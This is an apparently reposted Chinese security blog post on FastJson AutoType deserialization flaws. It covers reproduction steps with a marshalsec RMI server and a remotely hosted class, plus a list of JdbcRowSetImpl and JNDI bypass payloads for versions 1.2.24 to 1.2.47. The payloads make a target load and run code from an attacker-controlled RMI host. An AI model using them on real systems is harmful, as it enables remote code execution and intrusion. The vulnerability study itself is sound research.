FastJson-安全

FastJson-安全,第1张

FastJson-安全 1 FastJson介绍

FastJson的主要功能就是将Java对象序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。把一个Java对象转换成字符串,有两种选择:

1)基于属性

fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

2)基于setter/getter

当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

2 fastjson<=1.2.24 2.1 介绍

fastjson(v1.2.25 之前)的AutoType是默认开启的,也没有什么限制。 可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}

JdbcRowSetImpl类的基本原理见:JNDI注入

2.2 复现方式

首先创建一个远程加载的类

 启动web服务

这样访问http://IP1:3333/MyTest.class就可以访问到class文件。 然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999 (注意IP保密)

最后传入:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/MyTest","autoCommit":true}

2.3 FastJson调用栈

详见流程见fastjson=1.2.24调试。

Exploit小结:

来源于  https://github.com/shengqi158/fastjson-remote-code-execute-poc

1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
3 fastjson=1.2.24调试

1)class JSON类

pasre(String text)如下

2)class DefaultJSONParser类

当为{时,token=12

token=12,继续parseObject

来到parseObject(Map object, Object fieldName)

这里有一个 JSONLexerbase.scanSymbol,作用是找一对“”之间的内容

第一对“”里就是“@value”,判断key = @type继续走

3)class TypeUtils类

4)class DefaultJSONParser类

5)class ParserConfig类

6)返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);

然后来到class JavaBeanDeserializer

7)继续往下走,来到 class JSONScanner

8) JavaBeanDeserializer类

9)FieldDeserializer类

反射调用

后面就是JdbcRowSetImpl正常流程了,见JNDI注入

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/zaji/5694503.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-12-17
下一篇2022-12-17

发表评论

登录后才能评论

评论列表(0条)

    保存